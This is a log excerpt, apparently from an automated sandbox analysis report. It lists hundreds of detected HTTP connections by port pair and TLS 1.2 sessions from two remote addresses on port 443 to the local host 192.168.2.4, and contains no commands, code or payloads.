Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50216
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50218
Source: unknown	Network traffic detected: HTTP traffic on port 50254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50229
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50221
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50222
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50239
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50230
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50232
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50240
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50208
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50193
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50194
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50197
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50297 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49797 version: TLS 1.2
